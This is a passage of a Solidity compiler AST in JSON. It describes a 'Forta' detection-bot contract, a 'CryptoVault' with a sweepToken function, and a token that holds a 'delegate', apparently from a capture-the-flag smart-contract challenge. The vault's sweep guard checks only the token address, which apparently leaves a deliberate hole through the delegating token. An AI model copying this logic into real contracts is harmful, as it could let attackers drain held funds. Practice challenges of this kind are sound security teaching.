:"Block","src":"1003:187:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51534,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51526,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1025:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51528,"indexExpression":{"id":51527,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1044:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1025:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51525,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1017:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51524,"name":"address","nodeType":"ElementaryTypeName","src":"1017:7:71","typeDescriptions":{}}},"id":51529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1017:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51532,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1062:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51531,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1054:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51530,"name":"address","nodeType":"ElementaryTypeName","src":"1054:7:71","typeDescriptions":{}}},"id":51533,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1054:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1017:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51536,"nodeType":"IfStatement","src":"1013:60:71","trueBody":{"functionReturnParameters":51523,"id":51535,"nodeType":"Return","src":"1066:7:71"}},{"clauses":[{"block":{"id":51545,"nodeType":"Block","src":"1144:31:71","statements":[{"functionReturnParameters":51523,"id":51544,"nodeType":"Return","src":"1158:7:71"}]},"errorName":"","id":51546,"nodeType":"TryCatchClause","src":"1144:31:71"},{"block":{"id":51547,"nodeType":"Block","src":"1182:2:71","statements":[]},"errorName":"","id":51548,"nodeType":"TryCatchClause","src":"1176:8:71"}],"externalCall":{"arguments":[{"id":51541,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1129:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51542,"name":"msgData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51520,"src":"1135:7:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"baseExpression":{"id":51537,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1086:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51539,"indexExpression":{"id":51538,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1105:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1086:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51540,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1111:17:71","memberName":"handleTransaction","nodeType":"MemberAccess","referencedDeclaration":51470,"src":"1086:42:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51543,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1086:57:71","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51549,"nodeType":"TryStatement","src":"1082:102:71"}]},"baseFunctions":[51483],"functionSelector":"fa1fd28c","implemented":true,"kind":"function","modifiers":[],"name":"notify","nameLocation":"940:6:71","overrides":{"id":51522,"nodeType":"OverrideSpecifier","overrides":[],"src":"994:8:71"},"parameters":{"id":51521,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51518,"mutability":"mutable","name":"user","nameLocation":"955:4:71","nodeType":"VariableDeclaration","scope":51551,"src":"947:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51517,"name":"address","nodeType":"ElementaryTypeName","src":"947:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51520,"mutability":"mutable","name":"msgData","nameLocation":"976:7:71","nodeType":"VariableDeclaration","scope":51551,"src":"961:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51519,"name":"bytes","nodeType":"ElementaryTypeName","src":"961:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"946:38:71"},"returnParameters":{"id":51523,"nodeType":"ParameterList","parameters":[],"src":"1003:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51576,"nodeType":"FunctionDefinition","src":"1196:170:71","nodes":[],"body":{"id":51575,"nodeType":"Block","src":"1248:118:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51559,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1270:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51561,"indexExpression":{"id":51560,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51553,"src":"1289:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1270:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51558,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1262:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51557,"name":"address","nodeType":"ElementaryTypeName","src":"1262:7:71","typeDescriptions":{}}},"id":51562,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1262:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"expression":{"id":51563,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1299:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51564,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1303:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1299:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1262:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51567,"nodeType":"IfStatement","src":"1258:60:71","trueBody":{"functionReturnParameters":51556,"id":51566,"nodeType":"Return","src":"1311:7:71"}},{"expression":{"id":51573,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51568,"name":"botRaisedAlerts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51500,"src":"1327:15:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":51571,"indexExpression":{"expression":{"id":51569,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1343:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51570,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1347:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1343:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1327:27:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"hexValue":"31","id":51572,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1358:1:71","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"1327:32:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":51574,"nodeType":"ExpressionStatement","src":"1327:32:71"}]},"baseFunctions":[51488],"functionSelector":"087a43c1","implemented":true,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"1205:10:71","overrides":{"id":51555,"nodeType":"OverrideSpecifier","overrides":[],"src":"1239:8:71"},"parameters":{"id":51554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51553,"mutability":"mutable","name":"user","nameLocation":"1224:4:71","nodeType":"VariableDeclaration","scope":51576,"src":"1216:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51552,"name":"address","nodeType":"ElementaryTypeName","src":"1216:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1215:14:71"},"returnParameters":{"id":51556,"nodeType":"ParameterList","parameters":[],"src":"1248:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":51490,"name":"IForta","nameLocations":["634:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":51489,"src":"634:6:71"},"id":51491,"nodeType":"InheritanceSpecifier","src":"634:6:71"}],"canonicalName":"Forta","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51577,51489],"name":"Forta","nameLocation":"625:5:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51645,"nodeType":"ContractDefinition","src":"1370:582:71","nodes":[{"id":51579,"nodeType":"VariableDeclaration","src":"1397:35:71","nodes":[],"constant":false,"functionSelector":"3234a197","mutability":"mutable","name":"sweptTokensRecipient","nameLocation":"1412:20:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51578,"name":"address","nodeType":"ElementaryTypeName","src":"1397:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51582,"nodeType":"VariableDeclaration","src":"1438:24:71","nodes":[],"constant":false,"functionSelector":"6f307dc3","mutability":"mutable","name":"underlying","nameLocation":"1452:10:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51581,"nodeType":"UserDefinedTypeName","pathNode":{"id":51580,"name":"IERC20","nameLocations":["1438:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1438:6:71"},"referencedDeclaration":47939,"src":"1438:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"public"},{"id":51592,"nodeType":"FunctionDefinition","src":"1469:80:71","nodes":[],"body":{"id":51591,"nodeType":"Block","src":"1500:49:71","nodes":[],"statements":[{"expression":{"id":51589,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51587,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1510:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51588,"name":"recipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51584,"src":"1533:9:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1510:32:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51590,"nodeType":"ExpressionStatement","src":"1510:32:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51585,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51584,"mutability":"mutable","name":"recipient","nameLocation":"1489:9:71","nodeType":"VariableDeclaration","scope":51592,"src":"1481:17:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51583,"name":"address","nodeType":"ElementaryTypeName","src":"1481:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1480:19:71"},"returnParameters":{"id":51586,"nodeType":"ParameterList","parameters":[],"src":"1500:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51617,"nodeType":"FunctionDefinition","src":"1555:167:71","nodes":[],"body":{"id":51616,"nodeType":"Block","src":"1606:116:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51606,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51600,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1632:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}],"id":51599,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1624:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51598,"name":"address","nodeType":"ElementaryTypeName","src":"1624:7:71","typeDescriptions":{}}},"id":51601,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1624:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51604,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1655:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51603,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1647:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51602,"name":"address","nodeType":"ElementaryTypeName","src":"1647:7:71","typeDescriptions":{}}},"id":51605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1647:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1624:33:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416c726561647920736574","id":51607,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1659:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""},"value":"Already set"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""}],"id":51597,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1616:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1616:57:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51609,"nodeType":"ExpressionStatement","src":"1616:57:71"},{"expression":{"id":51614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51610,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1683:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51612,"name":"latestToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51594,"src":"1703:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51611,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1696:6:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1696:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1683:32:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51615,"nodeType":"ExpressionStatement","src":"1683:32:71"}]},"functionSelector":"bdb2321f","implemented":true,"kind":"function","modifiers":[],"name":"setUnderlying","nameLocation":"1564:13:71","parameters":{"id":51595,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51594,"mutability":"mutable","name":"latestToken","nameLocation":"1586:11:71","nodeType":"VariableDeclaration","scope":51617,"src":"1578:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51593,"name":"address","nodeType":"ElementaryTypeName","src":"1578:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1577:21:71"},"returnParameters":{"id":51596,"nodeType":"ParameterList","parameters":[],"src":"1606:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51644,"nodeType":"FunctionDefinition","src":"1751:199:71","nodes":[],"body":{"id":51643,"nodeType":"Block","src":"1792:158:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"id":51626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":51624,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1810:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":51625,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1819:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1810:19:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e","id":51627,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1831:33:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""},"value":"Can't transfer underlying token"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""}],"id":51623,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1802:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1802:63:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51629,"nodeType":"ExpressionStatement","src":"1802:63:71"},{"expression":{"arguments":[{"id":51633,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1890:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"id":51638,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1936:4:71","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}],"id":51637,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1928:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51636,"name":"address","nodeType":"ElementaryTypeName","src":"1928:7:71","typeDescriptions":{}}},"id":51639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1928:13:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51634,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1912:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51635,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1918:9:71","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1912:15:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1912:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51630,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1875:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51632,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1881:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47906,"src":"1875:14:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":51641,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1875:68:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51642,"nodeType":"ExpressionStatement","src":"1875:68:71"}]},"functionSelector":"1be19560","implemented":true,"kind":"function","modifiers":[],"name":"sweepToken","nameLocation":"1760:10:71","parameters":{"id":51621,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51620,"mutability":"mutable","name":"token","nameLocation":"1778:5:71","nodeType":"VariableDeclaration","scope":51644,"src":"1771:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51619,"nodeType":"UserDefinedTypeName","pathNode":{"id":51618,"name":"IERC20","nameLocations":["1771:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1771:6:71"},"referencedDeclaration":47939,"src":"1771:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"internal"}],"src":"1770:14:71"},"returnParameters":{"id":51622,"nodeType":"ParameterList","parameters":[],"src":"1792:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"CryptoVault","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51645],"name":"CryptoVault","nameLocation":"1379:11:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51720,"nodeType":"ContractDefinition","src":"1954:596:71","nodes":[{"id":51654,"nodeType":"VariableDeclaration","src":"2021:29:71","nodes":[],"constant":false,"functionSelector":"c89e4361","mutability":"mutable","name":"delegate","nameLocation":"2042:8:71","scope":51720,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51653,"nodeType":"UserDefinedTypeName","pathNode":{"id":51652,"name":"DelegateERC20","nameLocations":["2021:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2021:13:71"},"referencedDeclaration":51463,"src":"2021:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"public"},{"id":51669,"nodeType":"FunctionDefinition","src":"2057:93:71","nodes":[],"body":{"id":51668,"nodeType":"Block","src":"2116:34:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51664,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51656,"src":"2132:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51665,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51658,"src":"2136:6:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51663,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"2126:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function 